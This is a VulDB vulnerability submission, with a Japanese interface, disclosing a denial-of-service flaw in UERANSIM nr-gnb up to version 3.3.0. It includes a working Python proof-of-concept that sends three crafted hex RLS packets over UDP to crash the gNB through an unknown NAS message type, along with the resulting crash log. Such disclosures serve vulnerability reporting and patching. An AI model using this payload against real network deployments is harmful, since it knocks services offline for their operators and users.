| タイトル | UERAMSIM UERANSIM nr-gnb <=3.3.0 CWE-248: Uncaught Exception |
|---|
| 説明 | Affected Version: UERANSIM ≤ 3.3.0
Vendor: UERANSIM
Vulnerability Files:
src/lib/nas/encode.cpp
Description:
The vulnerability is caused using a series of RLS message, which includes one RLS heartbeat message, RRC setup request message and RRC setup complete message. The malformed RRC Setup complete meessage carries an unknown NAS message type which causes an uncaught exception in DecodePlainMmMessage() function and crashes the nr-gnb.
Proof of Concept:
i) Build and setup UERANSIM following the installation guide from the wiki (https://github.com/aligungr/UERANSIM/wiki/Installation).
ii) Execute the following python script.
import socket
import time
GNB_HOST = '127.0.0.1'
GNB_PORT = 4997
def poc(ip, port):
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
rls_heartbeat=bytes.fromhex('0303030004027248628e7e8e71000000000000000000000000')
rls_rrc_setup_req=bytes.fromhex('0303030006027248628e7e8e710100000000000000050000000613859b94dfc67e8e72030035')
rls_rrc_setup_complete=bytes.fromhex('0303030006027248628e7e8e71010000000000000007000000211600075f801000400340403c4400000000040c951d820b813c3c3c3c0bc00000007f8e72030035')
try:
udp_socket.sendto(rls_heartbeat, (ip, port))
print('RLS heartbeat sent successfully')
time.sleep(1)
udp_socket.sendto(rls_rrc_setup_req, (ip, port))
print('RLS Packet1 sent successfully')
time.sleep(1)
udp_socket.sendto(rls_rrc_setup_complete ,(ip, port))
print('RLS Packet1 sent successfully')
except Exception as e:
print('Error:', e)
finally:
udp_socket.close()
if __name__ == '__main__':
poc(GNB_HOST, GNB_PORT)
iii) If successful, the nr-gnb will crash, the output of nr-gnb is like below:
UERANSIM v3.3.0
[2026-08-12 23:56:58.205] [sctp] [info] Trying to establish SCTP connection... (127.0.0.5:38412)
[2026-08-12 23:56:58.223] [sctp] [info] SCTP connection established (127.0.0.5:38412)
[2026-08-12 23:56:58.224] [sctp] [debug] SCTP association setup ascId[313361]
[2026-08-12 23:56:58.224] [ngap] [debug] Sending NG Setup Request
[2026-08-12 23:56:58.244] [ngap] [debug] NG Setup Response received
[2026-08-12 23:56:58.244] [ngap] [info] NG Setup procedure is successful
[2026-08-12 23:57:02.049] [rrc] [debug] UE[1] new signal detected
[2026-08-12 23:57:03.052] [rrc] [info] RRC Setup for UE[1]
terminate called after throwing an instance of 'std::runtime_error'
what(): invalid NAS message type
Aborted |
|---|
| ソース | ⚠️ https://gist.github.com/centauruszzz/f729edf89aa32ae3cfe4865c71ad1102 |
|---|
| ユーザー | centauruszzz (UID 100408) |
|---|
| 送信 | 2026年08月12日 18:01 (2 月 ago) |
|---|
| モデレーション | 2026年09月27日 16:15 (2 months later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 410903 [aligungr UERANSIM 迄 3.3.0 nr-gnb src/lib/nas/encode.cpp DecodePlainMmMessage サービス拒否] |
|---|
| ポイント | 20 |
|---|